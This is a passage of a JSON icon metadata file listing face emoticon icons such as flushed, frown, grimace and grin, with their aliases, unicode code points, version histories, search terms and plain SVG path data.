        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M464 256A208 208 0 1 0 48 256a208 208 0 1 0 416 0zM0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zm256 32a64 64 0 1 1 0 128 64 64 0 1 1 0-128zM103 135c9.4-9.4 24.6-9.4 33.9 0l23 23 23-23c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9l-23 23 23 23c9.4 9.4 9.4 24.6 0 33.9s-24.6 9.4-33.9 0l-23-23-23 23c-9.4 9.4-24.6 9.4-33.9 0s-9.4-24.6 0-33.9l23-23-23-23c-9.4-9.4-9.4-24.6 0-33.9zm192 0c9.4-9.4 24.6-9.4 33.9 0l23 23 23-23c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9l-23 23 23 23c9.4 9.4 9.4 24.6 0 33.9s-24.6 9.4-33.9 0l-23-23-23 23c-9.4 9.4-24.6 9.4-33.9 0s-9.4-24.6 0-33.9l23-23-23-23c-9.4-9.4-9.4-24.6 0-33.9z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M464 256A208 208 0 1 0 48 256a208 208 0 1 0 416 0zM0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zm256 32a64 64 0 1 1 0 128 64 64 0 1 1 0-128zM103 135c9.4-9.4 24.6-9.4 33.9 0l23 23 23-23c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9l-23 23 23 23c9.4 9.4 9.4 24.6 0 33.9s-24.6 9.4-33.9 0l-23-23-23 23c-9.4 9.4-24.6 9.4-33.9 0s-9.4-24.6 0-33.9l23-23-23-23c-9.4-9.4-9.4-24.6 0-33.9zm192 0c9.4-9.4 24.6-9.4 33.9 0l23 23 23-23c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9l-23 23 23 23c9.4 9.4 9.4 24.6 0 33.9s-24.6 9.4-33.9 0l-23-23-23 23c-9.4 9.4-24.6 9.4-33.9 0s-9.4-24.6 0-33.9l23-23-23-23c-9.4-9.4-9.4-24.6 0-33.9z"
      }
    },
    "free": ["regular", "solid"]
  },
  "face-flushed": {
    "aliases": {
      "names": ["flushed"],
      "unicodes": {
        "composite": ["1f633"],
        "secondary": ["10f579"]
      }
    },
    "changes": [
      "5.1.0",
      "5.11.0",
      "5.11.1",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "dazed",
        "embarrassed",
        "emoticon",
        "face",
        "flushed",
        "flushed face"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f579",
    "label": "Face Flushed",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767583,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zM176 384c0 8.8 7.2 16 16 16H320c8.8 0 16-7.2 16-16s-7.2-16-16-16H192c-8.8 0-16 7.2-16 16zm-16-88a72 72 0 1 0 0-144 72 72 0 1 0 0 144zm264-72a72 72 0 1 0 -144 0 72 72 0 1 0 144 0zm-288 0a24 24 0 1 1 48 0 24 24 0 1 1 -48 0zm192 0a24 24 0 1 1 48 0 24 24 0 1 1 -48 0z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zM176 384c0 8.8 7.2 16 16 16H320c8.8 0 16-7.2 16-16s-7.2-16-16-16H192c-8.8 0-16 7.2-16 16zm-16-88a72 72 0 1 0 0-144 72 72 0 1 0 0 144zm264-72a72 72 0 1 0 -144 0 72 72 0 1 0 144 0zm-288 0a24 24 0 1 1 48 0 24 24 0 1 1 -48 0zm192 0a24 24 0 1 1 48 0 24 24 0 1 1 -48 0z"
      },
      "regular": {
        "last_modified": 1684767583,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M464 256A208 208 0 1 1 48 256a208 208 0 1 1 416 0zM256 0a256 256 0 1 0 0 512A256 256 0 1 0 256 0zM160.4 248a24 24 0 1 0 0-48 24 24 0 1 0 0 48zm216-24a24 24 0 1 0 -48 0 24 24 0 1 0 48 0zM192 336c-13.3 0-24 10.7-24 24s10.7 24 24 24H320c13.3 0 24-10.7 24-24s-10.7-24-24-24H192zM160 176a48 48 0 1 1 0 96 48 48 0 1 1 0-96zm0 128a80 80 0 1 0 0-160 80 80 0 1 0 0 160zm144-80a48 48 0 1 1 96 0 48 48 0 1 1 -96 0zm128 0a80 80 0 1 0 -160 0 80 80 0 1 0 160 0z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M464 256A208 208 0 1 1 48 256a208 208 0 1 1 416 0zM256 0a256 256 0 1 0 0 512A256 256 0 1 0 256 0zM160.4 248a24 24 0 1 0 0-48 24 24 0 1 0 0 48zm216-24a24 24 0 1 0 -48 0 24 24 0 1 0 48 0zM192 336c-13.3 0-24 10.7-24 24s10.7 24 24 24H320c13.3 0 24-10.7 24-24s-10.7-24-24-24H192zM160 176a48 48 0 1 1 0 96 48 48 0 1 1 0-96zm0 128a80 80 0 1 0 0-160 80 80 0 1 0 0 160zm144-80a48 48 0 1 1 96 0 48 48 0 1 1 -96 0zm128 0a80 80 0 1 0 -160 0 80 80 0 1 0 160 0z"
      }
    },
    "free": ["regular", "solid"]
  },
  "face-frown": {
    "aliases": {
      "names": ["frown"],
      "unicodes": {
        "composite": ["2639"],
        "secondary": ["10f119"]
      }
    },
    "changes": [
      "3.1.0",
      "5.0.0",
      "5.0.9",
      "5.1.0",
      "5.11.0",
      "5.11.1",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "disapprove",
        "emoticon",
        "face",
        "frown",
        "frowning face",
        "rating",
        "sad"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f119",
    "label": "Face Frown",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767582,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM159.3 388.7c-2.6 8.4-11.6 13.2-20 10.5s-13.2-11.6-10.5-20C145.2 326.1 196.3 288 256 288s110.8 38.1 127.3 91.3c2.6 8.4-2.1 17.4-10.5 20s-17.4-2.1-20-10.5C340.5 349.4 302.1 320 256 320s-84.5 29.4-96.7 68.7zM144.4 208a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zm192-32a32 32 0 1 1 0 64 32 32 0 1 1 0-64z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM159.3 388.7c-2.6 8.4-11.6 13.2-20 10.5s-13.2-11.6-10.5-20C145.2 326.1 196.3 288 256 288s110.8 38.1 127.3 91.3c2.6 8.4-2.1 17.4-10.5 20s-17.4-2.1-20-10.5C340.5 349.4 302.1 320 256 320s-84.5 29.4-96.7 68.7zM144.4 208a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zm192-32a32 32 0 1 1 0 64 32 32 0 1 1 0-64z"
      },
      "regular": {
        "last_modified": 1684767582,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M464 256A208 208 0 1 0 48 256a208 208 0 1 0 416 0zM0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zM174.6 384.1c-4.5 12.5-18.2 18.9-30.7 14.4s-18.9-18.2-14.4-30.7C146.9 319.4 198.9 288 256 288s109.1 31.4 126.6 79.9c4.5 12.5-2 26.2-14.4 30.7s-26.2-2-30.7-14.4C328.2 358.5 297.2 336 256 336s-72.2 22.5-81.4 48.1zM144.4 208a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zm192-32a32 32 0 1 1 0 64 32 32 0 1 1 0-64z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M464 256A208 208 0 1 0 48 256a208 208 0 1 0 416 0zM0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zM174.6 384.1c-4.5 12.5-18.2 18.9-30.7 14.4s-18.9-18.2-14.4-30.7C146.9 319.4 198.9 288 256 288s109.1 31.4 126.6 79.9c4.5 12.5-2 26.2-14.4 30.7s-26.2-2-30.7-14.4C328.2 358.5 297.2 336 256 336s-72.2 22.5-81.4 48.1zM144.4 208a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zm192-32a32 32 0 1 1 0 64 32 32 0 1 1 0-64z"
      }
    },
    "free": ["regular", "solid"]
  },
  "face-frown-open": {
    "aliases": {
      "names": ["frown-open"],
      "unicodes": {
        "composite": ["1f626"],
        "secondary": ["10f57a"]
      }
    },
    "changes": [
      "5.1.0",
      "5.11.0",
      "5.11.1",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "disapprove",
        "emoticon",
        "face",
        "frown",
        "frowning face with open mouth",
        "mouth",
        "open",
        "rating",
        "sad"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f57a",
    "label": "Face Frown Open",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767583,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM176.4 176a32 32 0 1 1 0 64 32 32 0 1 1 0-64zm128 32a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zm-122 174.5c-12.4 5.2-26.5-4.1-21.1-16.4c16-36.6 52.4-62.1 94.8-62.1s78.8 25.6 94.8 62.1c5.4 12.3-8.7 21.6-21.1 16.4c-22.4-9.5-47.4-14.8-73.7-14.8s-51.3 5.3-73.7 14.8z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM176.4 176a32 32 0 1 1 0 64 32 32 0 1 1 0-64zm128 32a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zm-122 174.5c-12.4 5.2-26.5-4.1-21.1-16.4c16-36.6 52.4-62.1 94.8-62.1s78.8 25.6 94.8 62.1c5.4 12.3-8.7 21.6-21.1 16.4c-22.4-9.5-47.4-14.8-73.7-14.8s-51.3 5.3-73.7 14.8z"
      },
      "regular": {
        "last_modified": 1684767583,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M464 256A208 208 0 1 0 48 256a208 208 0 1 0 416 0zM0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zM182.4 382.5c-12.4 5.2-26.5-4.1-21.1-16.4c16-36.6 52.4-62.1 94.8-62.1s78.8 25.6 94.8 62.1c5.4 12.3-8.7 21.6-21.1 16.4c-22.4-9.5-47.4-14.8-73.7-14.8s-51.3 5.3-73.7 14.8zM144.4 208a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zm192-32a32 32 0 1 1 0 64 32 32 0 1 1 0-64z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M464 256A208 208 0 1 0 48 256a208 208 0 1 0 416 0zM0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zM182.4 382.5c-12.4 5.2-26.5-4.1-21.1-16.4c16-36.6 52.4-62.1 94.8-62.1s78.8 25.6 94.8 62.1c5.4 12.3-8.7 21.6-21.1 16.4c-22.4-9.5-47.4-14.8-73.7-14.8s-51.3 5.3-73.7 14.8zM144.4 208a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zm192-32a32 32 0 1 1 0 64 32 32 0 1 1 0-64z"
      }
    },
    "free": ["regular", "solid"]
  },
  "face-grimace": {
    "aliases": {
      "names": ["grimace"],
      "unicodes": {
        "composite": ["1f62c"],
        "secondary": ["10f57f"]
      }
    },
    "changes": [
      "5.1.0",
      "5.11.0",
      "5.11.1",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "cringe",
        "emoticon",
        "face",
        "grimace",
        "grimacing face",
        "teeth"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f57f",
    "label": "Face Grimace",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767582,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zm96-112h-8V360l55.3 0c-3.8 22.7-23.6 40-47.3 40zm47.3-56L344 344V304h8c23.8 0 43.5 17.3 47.3 40zM328 344H264V304h64v40zm0 56H264V360h64v40zm-80-96v40l-64 0V304h64zm0 56v40H184V360l64 0zm-80-16H112.7c3.8-22.7 23.6-40 47.3-40h8v40zm0 56h-8c-23.8 0-43.5-17.3-47.3-40H168v40zM144.4 208a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zm192-32a32 32 0 1 1 0 64 32 32 0 1 1 0-64z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zm96-112h-8V360l55.3 0c-3.8 22.7-23.6 40-47.3 40zm47.3-56L344 344V304h8c23.8 0 43.5 17.3 47.3 40zM328 344H264V304h64v40zm0 56H264V360h64v40zm-80-96v40l-64 0V304h64zm0 56v40H184V360l64 0zm-80-16H112.7c3.8-22.7 23.6-40 47.3-40h8v40zm0 56h-8c-23.8 0-43.5-17.3-47.3-40H168v40zM144.4 208a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zm192-32a32 32 0 1 1 0 64 32 32 0 1 1 0-64z"
      },
      "regular": {
        "last_modified": 1684767582,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 48a208 208 0 1 0 0 416 208 208 0 1 0 0-416zM512 256A256 256 0 1 1 0 256a256 256 0 1 1 512 0zM168 320c-13.3 0-24 10.7-24 24s10.7 24 24 24h8V320h-8zm40 48h32V320H208v48zm96 0V320H272v48h32zm32 0h8c13.3 0 24-10.7 24-24s-10.7-24-24-24h-8v48zM168 288H344c30.9 0 56 25.1 56 56s-25.1 56-56 56H168c-30.9 0-56-25.1-56-56s25.1-56 56-56zm-23.6-80a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zm192-32a32 32 0 1 1 0 64 32 32 0 1 1 0-64z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 48a208 208 0 1 0 0 416 208 208 0 1 0 0-416zM512 256A256 256 0 1 1 0 256a256 256 0 1 1 512 0zM168 320c-13.3 0-24 10.7-24 24s10.7 24 24 24h8V320h-8zm40 48h32V320H208v48zm96 0V320H272v48h32zm32 0h8c13.3 0 24-10.7 24-24s-10.7-24-24-24h-8v48zM168 288H344c30.9 0 56 25.1 56 56s-25.1 56-56 56H168c-30.9 0-56-25.1-56-56s25.1-56 56-56zm-23.6-80a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zm192-32a32 32 0 1 1 0 64 32 32 0 1 1 0-64z"
      }
    },
    "free": ["regular", "solid"]
  },
  "face-grin": {
    "aliases": {
      "names": ["grin"],
      "unicodes": {
        "composite": ["1f600"],
        "secondary": ["10f580"]
      }
    },
    "changes": [
      "5.1.0",
      "5.11.0",
      "5.11.1",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["emoticon", "face", "grin", "grinning face", "laugh", "smile"]
    },
    "styles": ["solid", "regular"],
    "unicode": "f580",
    "label": "Face Grin",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767582,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM388.1 312.8c12.3-3.8 24.3 6.9 19.3 18.7C382.4 390.6 324.2 432 256.3 432s-126.2-41.4-151.1-100.5c-5-11.8 7-22.5 19.3-18.7c39.7 12.2 84.5 19 131.8 19s92.1-6.8 131.8-19zM144.4 208a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zm192-32a32 32 0 1 1 0 64 32 32 0 1 1 0-64z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM388.1 312.8c12.3-3.8 24.3 6.9 19.3 18.7C382.4 390.6 324.2 432 256.3 432s-126.2-41.4-151.1-100.5c-5-11.8 7-22.5 19.3-18.7c39.7 12.2 84.5 19 131.8 19s92.1-6.8 131.8-19zM144.4 208a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zm192-32a32 32 0 1 1 0 64 32 32 0 1 1 0-64z"
      },
      "regular": {
        "last_modified": 1684767582,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M464 256A208 208 0 1 0 48 256a208 208 0 1 0 416 0zM0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zm349.5 52.4c18.7-4.4 35.9 12 25.5 28.1C350.4 374.6 306.3 400 255.9 400s-94.5-25.4-119.1-63.5c-10.4-16.1 6.8-32.5 25.5-28.1c28.9 6.8 60.5 10.5 93.6 10.5s64.7-3.7 93.6-10.5zM144.4 208a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zm192-32a32 32 0 1 1 0 64 32 32 0 1 1 0-64z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M464 256A208 208 0 1 0 48 256a208 208 0 1 0 416 0zM0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zm349.5 52.4c18.7-4.4 35.9 12 25.5 28.1C350.4 374.6 306.3 400 255.9 400s-94.5-25.4-119.1-63.5c-10.4-16.1 6.8-32.5 25.5-28.1c28.9 6.8 60.5 10.5 93.6 10.5s64.7-3.7 93.6-10.5zM144.4 208a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zm192-32a32 32 0 1 1 0 64 32 32 0 1 1 0-64z"
      }
    },
    "free": ["regular", "solid"]
  },
  "face-grin-beam": {
    "aliases": {
      "names": ["grin-beam"],
      "unicodes": {
        "composite": ["1f604"],
        "secondary": ["10f582"]
      }
    },
    "changes": [
      "5.1.0",
      "5.11.0",
      "5.11.1",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "emoticon",
        "eye",
        "face",
        "grinning face with smiling eyes",
        "laugh",
        "mouth",
        "open",
        "smile"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f582",
    "label": "Face Grin Beam",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767583,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM388.1 312.8c12.3-3.8 24.3 6.9 19.3 18.7C382.4 390.6 324.2 432 256.3 432s-126.2-41.4-151.1-100.5c-5-11.8 7-22.5 19.3-18.7c39.7 12.2 84.5 19 131.8 19s92.1-6.8 131.8-19zm-170.5-84l0 0 0 0-.2-.2c-.2-.2-.4-.5-.7-.9c-.6-.8-1.6-2-2.8-3.4c-2.5-2.8-6-6.6-10.2-10.3c-8.8-7.8-18.8-14-27.7-14s-18.9 6.2-27.7 14c-4.2 3.7-7.7 7.5-10.2 10.3c-1.2 1.4-2.2 2.6-2.8 3.4c-.3 .4-.6 .7-.7 .9l-.2 .2 0 0 0 0 0 0c-2.1 2.8-5.7 3.9-8.9 2.8s-5.5-4.1-5.5-7.6c0-17.9 6.7-35.6 16.6-48.8c9.8-13 23.9-23.2 39.4-23.2s29.6 10.2 39.4 23.2c9.9 13.2 16.6 30.9 16.6 48.8c0 3.4-2.2 6.5-5.5 7.6s-6.9 0-8.9-2.8l0 0 0 0zm160 0l0 0-.2-.2c-.2-.2-.4-.5-.7-.9c-.6-.8-1.6-2-2.8-3.4c-2.5-2.8-6-6.6-10.2-10.3c-8.8-7.8-18.8-14-27.7-14s-18.9 6.2-27.7 14c-4.2 3.7-7.7 7.5-10.2 10.3c-1.2 1.4-2.2 2.6-2.8 3.4c-.3 .4-.6 .7-.7 .9l-.2 .2 0 0 0 0 0 0c-2.1 2.8-5.7 3.9-8.9 2.8s-5.5-4.1-5.5-7.6c0-17.9 6.7-35.6 16.6-48.8c9.8-13 23.9-23.2 39.4-23.2s29.6 10.2 39.4 23.2c9.9 13.2 16.6 30.9 16.6 48.8c0 3.4-2.2 6.5-5.5 7.6s-6.9 0-8.9-2.8l0 0 0 0 0 0z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM388.1 312.8c12.3-3.8 24.3 6.9 19.3 18.7C382.4 390.6 324.2 432 256.3 432s-126.2-41.4-151.1-100.5c-5-11.8 7-22.5 19.3-18.7c39.7 12.2 84.5 19 131.8 19s92.1-6.8 131.8-19zm-170.5-84l0 0 0 0-.2-.2c-.2-.2-.4-.5-.7-.9c-.6-.8-1.6-2-2.8-3.4c-2.5-2.8-6-6.6-10.2-10.3c-8.8-7.8-18.8-14-27.7-14s-18.9 6.2-27.7 14c-4.2 3.7-7.7 7.5-10.2 10.3c-1.2 1.4-2.2 2.6-2.8 3.4c-.3 .4-.6 .7-.7 .9l-.2 .2 0 0 0 0 0 0c-2.1 2.8-5.7 3.9-8.9 2.8s-5.5-4.1-5.5-7.6c0-17.9 6.7-35.6 16.6-48.8c9.8-13 23.9-23.2 39.4-23.2s29.6 10.2 39.4 23.2c9.9 13.2 16.6 30.9 16.6 48.8c0 3.4-2.2 6.5-5.5 7.6s-6.9 0-8.9-2.8l0 0 0 0zm160 0l0 0-.2-.2c-.2-.2-.4-.5-.7-.9c-.6-.8-1.6-2-2.8-3.4c-2.5-2.8-6-6.6-10.2-10.3c-8.8-7.8-18.8-14-27.7-14s-18.9 6.2-27.7 14c-4.2 3.7-7.7 7.5-10.2 10.3c-1.2 1.4-2.2 2.6-2.8 3.4c-.3 .4-.6 .7-.7 .9l-.2 .2 0 0 0 0 0 0c-2.1 2.8-5.7 3.9-8.9 2.8s-5.5-4.1-5.5-7.6c0-17.9 6.7-35.6 16.6-48.8c9.8-13 23.9-23.2 39.4-23.2s29.6 10.2 39.4 23.2c9.9 13.2 16.6 30.9 16.6 48.8c0 3.4-2.2 6.5-5.5 7.6s-6.9 0-8.9-2.8l0 0 0 0 0 0z"
      },
      "regular": {
        "last_modified": 1684767583,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M464 256A208 208 0 1 0 48 256a208 208 0 1 0 416 0zM0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zm349.5 52.4c18.7-4.4 35.9 12 25.5 28.1C350.4 374.6 306.3 400 255.9 400s-94.5-25.4-119.1-63.5c-10.4-16.1 6.8-32.5 25.5-28.1c28.9 6.8 60.5 10.5 93.6 10.5s64.7-3.7 93.6-10.5zM217.6 228.8l0 0 0 0-.2-.2c-.2-.2-.4-.5-.7-.9c-.6-.8-1.6-2-2.8-3.4c-2.5-2.8-6-6.6-10.2-10.3c-8.8-7.8-18.8-14-27.7-14s-18.9 6.2-27.7 14c-4.2 3.7-7.7 7.5-10.2 10.3c-1.2 1.4-2.2 2.6-2.8 3.4c-.3 .4-.6 .7-.7 .9l-.2 .2 0 0 0 0 0 0c-2.1 2.8-5.7 3.9-8.9 2.8s-5.5-4.1-5.5-7.6c0-17.9 6.7-35.6 16.6-48.8c9.8-13 23.9-23.2 39.4-23.2s29.6 10.2 39.4 23.2c9.9 13.2 16.6 30.9 16.6 48.8c0 3.4-2.2 6.5-5.5 7.6s-6.9 0-8.9-2.8l0 0 0 0zm160 0l0 0-.2-.2c-.2-.2-.4-.5-.7-.9c-.6-.8-1.6-2-2.8-3.4c-2.5-2.8-6-6.6-10.2-10.3c-8.8-7.8-18.8-14-27.7-14s-18.9 6.2-27.7 14c-4.2 3.7-7.7 7.5-10.2 10.3c-1.2 1.4-2.2 2.6-2.8 3.4c-.3 .4-.6 .7-.7 .9l-.2 .2 0 0 0 0 0 0c-2.1 2.8-5.7 3.9-8.9 2.8s-5.5-4.1-5.5-7.6c0-17.9 6.7-35.6 16.6-48.8c9.8-13 23.9-23.2 39.4-23.2s29.6 10.2 39.4 23.2c9.9 13.2 16.6 30.9 16.6 48.8c0 3.4-2.2 6.5-5.5 7.6s-6.9 0-8.9-2.8l0 0 0 0 0 0z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M464 256A208 208 0 1 0 48 256a208 208 0 1 0 416 0zM0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zm349.5 52.4c18.7-4.4 35.9 12 25.5 28.1C350.4 374.6 306.3 400 255.9 400s-94.5-25.4-119.1-63.5c-10.4-16.1 6.8-32.5 25.5-28.1c28.9 6.8 60.5 10.5 93.6 10.5s64.7-3.7 93.6-10.5zM217.6 228.8l0 0 0 0-.2-.2c-.2-.2-.4-.5-.7-.9c-.6-.8-1.6-2-2.8-3.4c-2.5-2.8-6-6.6-10.2-10.3c-8.8-7.8-18.8-14-27.7-14s-18.9 6.2-27.7 14c-4.2 3.7-7.7 7.5-10.2 10.3c-1.2 1.4-2.2 2.6-2.8 3.4c-.3 .4-.6 .7-.7 .9l-.2 .2 0 0 0 0 0 0c-2.1 2.8-5.7 3.9-8.9 2.8s-5.5-4.1-5.5-7.6c0-17.9 6.7-35.6 16.6-48.8c9.8-13 23.9-23.2 39.4-23.2s29.6 10.2 39.4 23.2c9.9 13.2 16.6 30.9 16.6 48.8c0 3.4-2.2 6.5-5.5 7.6s-6.9 0-8.9-2.8l0 0 0 0zm160 0l0 0-.2-.2c-.2-.2-.4-.5-.7-.9c-.6-.8-1.6-2-2.8-3.4c-2.5-2.8-6-6.6-10.2-10.3c-8.8-7.8-18.8-14-27.7-14s-18.9 6.2-27.7 14c-4.2 3.7-7.7 7.5-10.2 10.3c-1.2 1.4-2.2 2.6-2.8 3.4c-.3 .4-.6 .7-.7 .9l-.2 .2 0 0 0 0 0 0c-2.1 2.8-5.7 3.9-8.9 2.8s-5.5-4.1-5.5-7.6c0-17.9 6.7-35.6 16.6-48.8c9.8-13 23.9-23.2 39.4-23.2s29.6 10.2 39.4 23.2c9.9 13.2 16.6 30.9 16.6 48.8c0 3.4-2.2 6.5-5.5 7.6s-6.9 0-8.9-2.8l0 0 0 0 0 0z"
      }
    },
    "free": ["regular", "solid"]
  },
  "face-grin-beam-sweat": {
    "aliases": {
      "names": ["grin-beam-sweat"],
      "unicodes": {
        "composite": ["1f605"],
        "secondary": ["10f583"]
      }
    },
    "changes": [
      "5.1.0",
      "5.11.0",
      "5.11.1",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "cold",
        "embarass",
        "emoticon",
        "face",
        "grinning face with sweat",
        "open",
        "smile",
        "sweat"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f583",
    "label": "Face Grin Beam Sweat",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767582,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M476.8 126.3c-4.1 1.1-8.4 1.7-12.8 1.7c-26.5 0-48-21-48-47c0-5 1.8-11.3 4.6-18.1c.3-.7 .6-1.4 .9-2.1c9-20.2 26.5-44.9 36-57.5c3.2-4.4 9.6-4.4 12.8 0C483.4 20.6 512 61 512 81c0 21.7-14.9 39.8-35.2 45.3zM256 0c51.4 0 99.3 15.2 139.4 41.2c-1.5 3.1-3 6.2-4.3 9.3c-3.4 8-7.1 19-7.1 30.5c0 44.3 36.6 79 80 79c9.6 0 18.8-1.7 27.4-4.8c13.3 30.9 20.6 65 20.6 100.8c0 141.4-114.6 256-256 256S0 397.4 0 256S114.6 0 256 0zM383.8 317.8C345.3 329.4 301.9 336 256 336s-89.3-6.6-127.8-18.2c-12.3-3.7-24.3 7-19.2 18.7c24.5 56.9 81.1 96.7 147 96.7s122.5-39.8 147-96.7c5.1-11.8-6.9-22.4-19.2-18.7zm-166.2-89l0 0 0 0c2.1 2.8 5.7 3.9 8.9 2.8s5.5-4.1 5.5-7.6c0-17.9-6.7-35.6-16.6-48.8c-9.8-13-23.9-23.2-39.4-23.2s-29.6 10.2-39.4 23.2C126.7 188.4 120 206.1 120 224c0 3.4 2.2 6.5 5.5 7.6s6.9 0 8.9-2.8l0 0 0 0 0 0 .2-.2c.2-.2 .4-.5 .7-.9c.6-.8 1.6-2 2.8-3.4c2.5-2.8 6-6.6 10.2-10.3c8.8-7.8 18.8-14 27.7-14s18.9 6.2 27.7 14c4.2 3.7 7.7 7.5 10.2 10.3c1.2 1.4 2.2 2.6 2.8 3.4c.3 .4 .6 .7 